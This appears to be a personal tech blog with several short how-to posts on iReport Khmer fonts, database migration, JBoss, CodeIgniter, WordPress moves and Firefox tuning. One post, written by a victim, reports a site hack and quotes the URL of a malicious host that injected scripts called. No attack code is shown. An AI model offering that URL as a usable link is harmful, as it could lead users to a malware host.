Khmer Unicode with Ireport 3.7.1 works fine with Kh fonts

Just quick configuration with Ireport 3.7.1 without detail here:

1. Download ireport from http://jasperforge.org 3.7.1
2. Install ireport 3.7.1
3. Open ireport design
4. Use blank design
5. Go to ireport tool configuration: Tool --> Options --> Fonts and click install fonts

I install two fonts: Khmer OS System and Kh System

First tested with Khmer OS System font, found it's not display correctly, see screen shot:

Now I use font: Kh System, it displays correctly:
Printed the report into PDF format also work for me.

To configure, I just change the font name to JasperReports Properties (find in Options menu):

In my local PC, I have already installed the font (Kh System) so please consider to add also if above configuration not yet work for you.

As I'm not using iReport, just wanna to test with Khmer Unicode only.

Thanks for comment any idea to improve it.

Migrate from MySQL to MS SQL 2005 using MS Access 2003 as a bridge

My friend asked me this topic "Migrate all tables of MySQL to MS SQL 2005 - what way".
I searched on the net as usual, got many questions and answer around one table import mostly but for many tables seem got a tip from a comment:

This might not be the best solution. Nonetheless, it worked for me. First you need to install and configurate the MyODBC connector as others said previously. Use Access to import from a external ODBC data source. (google it if you have trouble with this step). Once the import is done, use SSIS to import the data in the Access db into a SQL Server 2k5 db. Hope this Helps. (from social.msdb.microsoft.com)

CONTENT:

1. Technical Environment
2. Create ODBC Connection for MySQL
3. Import data from ODBC of MySQL to Access Db
4. Using SSIS (SQL Server Integration Service) to import data from Access Db to MS SQL
   

So here is my transforming steps:
0. Technical Environment

• I'm using Windows XP SP3 (not mandatory, just my environment.)
• MySQL ODBC Connector 5.1.6
• MS Access 2003 or 2007 (I'm using Access 2007 but db with Access 2003)
• MS SQL Server 2005
• MS SQL Server Tool 2005

I. Create ODBC Connection to MySQL database (using MySQL ODBC Connecter / System DNS)

• Download and install MySQL ODBC Connector here
• Create System DNS by go to Start --> Settings --> Control Panel --> Administrator Tool --> Click on Data Source (ODBC)

II. Using MS Access to import data from an external ODBC data source
I'm using MS Access 2007 but I use Access 2003 as the version here as mostly would work for all as well.

Step 1: Create a blank Access Db (Using compatible MS Access 2003)


Step 2: Go to tab External Data, using import or link to an ODBC Database:
Step 3: Using Import the source data into a new table in the current database option

Step 4: Go to tab: Machine Data Source, choose MySQL

"Choose your MySQL database to import"

Step 5: You will see a windows to list all table object, select all and click Ok

Step 6: You've done, now. Close button is welcome.


III. Using SSIS (SQL Server Integration Service)
As said above, I'm using MS SQL 2005 Tool (SQL Server Management Studio)

Step 1: start SQL Server Management Studio


Step 2: Connect to the server with your authentication

Step 3: Create new database (in case, it's new) Ex: mySqlDbLink (not mandatory naming)

Step 4: Right click on the db you want to import all tables / data, choose Import task

Step 5: Choose data source: Microsoft Access and link the file name with above access db (Ex: Z:\LinkToImport.mdb)

Step 6: Follow all steps of importing wizard but here choose: Copy data from one or more tables or views

Step 7: Follow other instruction (select all tables as example), proceed the import


Caution: During my process, I got error and all tables are not imported; I didn't try to find to know why, but I just try my work for me solution in next comment.

See error log:

- Pre-execute (Error)

My WORK FOR ME Solution:

• I again re-import the database with one table and I got successful imported
• I start again re-import for all tables, and I got successful with all tables list:

Finally: Check at the database, found all tables listed here and check some tables, data are there.

Hope it helps,
Check and give comment if anything to update.

Website hacked with random URL to access (http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/)

One of my website has been hacked by some hacker or can be with some libraries I am using for my CodeIgniter project... I'm not sure if it is due to the library or about my web hosting place.... I'm still investigating the issue.

It is trying to access to random URL as :

http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/apple.com/apple.com/drudgereport.com/google.com/joy.cn/

Mostly the random URL start with:

http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080

Check to webnetlinks.ru I got alert from WOT (Add-on of firefox) that this site is unsafe.

Update 27/01, 1:30pm: Very bad, these scripts are added to most html pages, to most javascript files. Seem not issue due to any library of CodeIgniter but with some virus who can hack using ftp, it may be my password is very poor that it can hack.

Update 29/01, 12:48pm: Now again, new hack script added the same site (before I didn't change ftp password yet), here is the new script:

JBoss 4.2.2.GA - Deploying issue on class loading and out of memory

While deploying my applications with JBoss 4.2.2.GA, using JDK 1.5 I got some issue with class loading issue something like:

1. If meet such error:

org.jboss.deployment.DeploymentException: Error while fixing table name; - nested throwable: (org.jboss.util.NestedSQLException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver)); - nested throwable: (org.jboss.resource.JBossResourceException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver))))

For sure, missing Oracle JDBC driver so Copy the Oracle JDBC Driver (10.2.0.1.0) (ojdbc14.jar) to lib folder of %JBOSS_HOME%/lib or at your server %JBOSS_HOME%/server/default/lib directory.

2. If something around:

2010-01-25 15:03:27,113 DEBUG [org.jboss.web.tomcat.service.TomcatDeployer] Classes needed for clustered webapp unavailable
java.lang.NoClassDefFoundError: org/jgroups/blocks/MethodCall
at org.jboss.web.tomcat.service.session.JBossCacheService.(JBossCacheService.java:70)
at org.jboss.web.tomcat.service.session.JBossCacheManager.init(JBossCacheManager.java:157)
at org.jboss.web.tomcat.service.TomcatDeployer.performDeployInternal(TomcatDeployer.java:336) 

So please try as following:

• Define a isolated classloader. To do it, change %JBOSS_HOME%/server/default/conf/jboss-service.xml :

<mbean code="org.jboss.naming.NamingService" name="jboss:service=Naming" dd="resource:xmdesc/NamingService-xmbean.xml">
[ ... ]
<attribute name="CallByValue">true</attribute>
[ ... ]
</mbean>

• change %JBOSS_HOME%/server/default/deploy/ear-deployer.xml :
  

<server>
[...]
<attribute name="Isolated">true</attribute>
[...]
<attribute name="CallByValue">true</attribute>
[...]
</server>

• change %JBOSS_HOME%/server/default/deploy/jboss-web.deployer/META-INF/jboss-service.xml :
  

[...]
<attribute name="Java2ClassLoadingCompliance">true</attribute>
[...]
<attribute name="UseJBossWebLoader">true</attribute>
[...]



3. When you wanna to deploy more than 2 applications on the same JBoss server instance, you may face some issues with unsuccessful deployment and with some error around Out of Memory.
So we need to increase memory allocation for Jboss, let's try to add/change JAVA_OPTS for memory allocation in file %JBOSS_HOME%/bin/run.bat as


set JAVA_OPTS=%JAVA_OPTS% -Xms512m -Xmx1024m -XX:MaxPermSize=128m

My applications are now deployed.

CodeIgniter - Remove index.php from URI

Normally with CodeIgniter, the URI will come with http://domain/index.php/controller/method
You may have doubt to remove the index.php to have only http://domain/controller/method ..

Here is the way:
1. mod_rewrite still need to be enable in your apache server
2. Open config.php from your application/config and replace $config['index_page'] = “index.php” by $config['index_page'] = “”

3. In file .htaccess at the root of your website (should be in website root, where the system directory is) and add following line:

    RewriteEngine on
    RewriteCond $1 !^(index\.php|resources|robots\.txt)
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ index.php/$1 [L,QSA]            

(My case, above changes work fine)

4. In some case, the default setting for uri_protocol does not work properly. To solve this problem just replace $config['uri_protocol'] = “AUTO” by $config['uri_protocol'] = “REQUEST_URI” from application/config/config.php

Enjoy,

Update 26/01: If you want both using index.php with URI or no, you just need to skip option 4 (using uri_protocol as AUTO)

CodeIgniter - Automatic config base url

In CodeIgniter, you may know that you need to configure base url via config.php (param: $config["base_url"]) so when change domain you may doubt sometimes with such small error; Here a solution to help solving the issue;

Change at config.php by fix url with this smart url configuration:

$config['base_url'] = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);

Run maven commands in Eclipse as External Tool

You might already know what is maven; it's a tool to build / compile or package java project...

Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.

Here, I want to show how to configure maven to use as external tool in eclipse IDE so easy for you to execute maven commands from the Eclipse interface easy without needing to open a DOS prompt to use. Here is the procedure:

1. Suppose maven 2 already install some where on your PC, (mine is in D:\Work\install\Tools\maven-2.0.4)
2. From the menu bar, select Window > Preferences. Select the Run/Debug > String Substitution. Add a new variable e.g. maven_exec.
3. Set up a new external launcher from the menu bar, select Run > External Tools. Select Program
4. Create each maven task, example: in here, I create only the build classpath

• On program, create a new program and name as: build_classpath (any name as you wish)
• In location box: choose our created variable: maven_exec
• In Working Directory: choose variable: project_loc
• In Argument, give maven command, in here is: eclipse:clean eclipse:eclipse
• Click on Apply and Run if you wish now
  

5. So you can execute the external tool program by execute Run button, result should be in console tab:

Enjoy,

Jibx XML loading & Digester, which one is more flexible?

Jibx is one of the popular XML parsing in Java and also Digester.

Jibx bases on binding.xml file to map XML nodes to Java Objects
Digester also base on digester-rule xml file to map to Java Objects

What I found here, in Jibx we need to map all fields of the XML to the binding but in digester, we can filter for which fields we want...

To prove, will see in next post for more analyze..

[WordPress] Move integrated local wordpress to production server

First I have read some post and I though it was right but when I followed I got same error such as executing timeout (Fatal error: Maximum execution time of 30 seconds exceeded) when browse the website etc.

I have prepared the wordpress blog with some modification of the theme; integrated and tested my wanted plugin; prepare all pages, navigation etc. I have named my local site as: www.defondyann.loc but when I move to the server for website: www.defondyann.com I got above error and can't browse the page or went to the admin as well.

I tried as following post:

• http://www.mydigitallife.info/2007/10/01/how-to-move-wordpress-blog-to-new-domain-or-location/
• http://yoast.com/move-wordpress-blog-domain-10-steps/
• http://codex.wordpress.org/Moving_WordPress

but not all worked for me so I took some points to do this way:

I. At my local server, I prepared the virtual host by naming as: www.defondyann.comI'm sure you guy know how to do virtual host in windows; any way, here it is:

• apache2.2.6\conf\extra\httpd-vhosts.conf

   ServerAdmin webmaster@defondyann.com
   DocumentRoot "Z:/defondyann/wordpress"
   ServerName defondyann.com
   ServerAlias www.defondyann.com
   ErrorLog "logs/defondyann.com-error_log"
   CustomLog "logs/defondyann.com-common.log common" combined

• Change at C:\WINDOWS\system32\drivers\etc\hosts

127.0.0.1 www.defondyann.com

II. I browsed the website locally with: www.defondyann.com login to admin as normal
III. Modified upload directory configuration in /wp-admin/options-misc.php

• To change upload directory to: wp-content/uploads

IV. Modified database, by execute update script via phpMyAdmin or any mysql client:

UPDATE wp_options SET option_value = replace(option_value, 'http://www.defondyann.loc', 'http://www.defondyann.com') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = replace(guid, 'http://www.defondyann.loc','http://www.defondyann.com');
UPDATE wp_posts SET post_content = replace(post_content, 'http://www.defondyann.loc', 'http://www.defondyann.com');

It's working for me,
Good luck,

[A Solution Game] A man bought a house

Can anyone write the procedure how to solve this below problem?
It seems we will have two answers according to the way of resolvers thinking can be thinking with Maths or with Business, please write down and share in the comment:

Problem:
======

"A person bought a house for $60,000. Soon thereafter they sold it for $70,000, upon moving out of town.
A few month later, they were transftered back to town and purchased the same house for $80,000, then the person grew tired of the house and resold it for $90,000."

Question: How much money did the person gain/lose (or break even) on the exchange? How you calculate this?

SQL Server with Unicode / Khmer Unicode characters

To be notice MS SQL supports only UCS-2 encoding so do not have encoding with UTF-8 as we expected as MySQL or some other database server as well. This means that you can't use UTF-8 character encoding with Microsoft SQL Server:

Here after I type Khmer Unicode and execute the query, I got question marks instead of characters:

So if you need to store national characters in Microsoft SQL Server - please consider using a national character encoding (U+1780 to U+17FF in Unicode/ISO10646 for Khmer Unicode characters, for example). Change data types:

• varchar to nvarchar
• text to ntext
• char to nchar

Here is the example since I created a table and insert data:

1. Create database (mtr_db) as normally (default setting)

2. Create table (tblunicode) with two fields (id/name) but
name - data type nvarchar(MAX)


3. Insert Khmer Unicode and execute we got it as we typed!
Good luck!

Optimizing the firefox 3.0.x for saving memories

Hum, I got so headache when using a slow computer so I have to find the issue... I know I have many programs installed on my system so these can be the problem but I use mostly the firefox for internet surfing...

I start finding that anytime I open many firefox or tabs at the same it crashes me for a while to use other applications. Check in the process, yes firefox using much memory than others:

Here is the process screen for firefox opens around 25 tabs

Here the way I optimize the firefox configuration:
I. Type about:config on firefox address box
II. Session cofingure:

1. search "session" in filter box
2. Edit browser.sessionhistory.max_entries – this is the number of pages stored in the history of your browsing session. Basically these are pages that can be reached using your Back and Forward buttons. The default is 50, I reduced it to 20.
3. Edit browser.sessionhistory.max_total_viewers – this is the number of pages that are stored in RAM so that they aren’t re-processed by Firefox’s rendering engine. This is what allows you to go Back to a page in Firefox and have it load almost instantaneously. The number of pages stored actually depends on the amount of RAM on your machine. I reduced this to 4 (I have 2GB RAM).
4. Edit browser.sessionstore.max_tabs_undo – the number of tabs you can restore after closing them (you can do this with Ctrl/Cmd-Shift-T). The default of 10 is more than I really need, so I reduced it to 5 tabs.
5. Edit browser.sessionstore.interval – Firefox saves your session after every 10 seconds by default. I changed this to a more conservative 30000 milliseconds.

III. Network configuration: enable these to get faster network speed

1. network.http.pipelining => true
2. network.http.pipelining.ssl => true
3. network.http.proxy.pipelining => true

IV. Release Memory When Firefox Minimized

1. Right click at the content (anywhere) and choose New->Boolean.
2. In the textbox, type config.trim_on_minimize and press OK.
3. Set the value to true, and press OK

V. Restart firefox to take affection.

Here is the result of the process after optimize:

Welcome to Bing, live search engine

Recently, Microsoft has released a new live search engine called Bing (www.bing.com) (formerly Live Search, Windows Live Search and MSN Search), the question for us is will Bing become a popular search engine as or over Google (www.google.com)?

So this question will see during the long way, I think most people when they meet any issue or require some information, they always remember google than other search engine as yahoo etc. but now as bing become a good one of live search engine so the competition should be starting now.

Bing released online on June 3, 2009 according to the Wiki Pedia record and it has now 16% of statistics counting since it's online till now, it's still a small percentage if compare to google of 60% but see, how fast they are popular now.

Any way, welcome to the new competition of search engine!
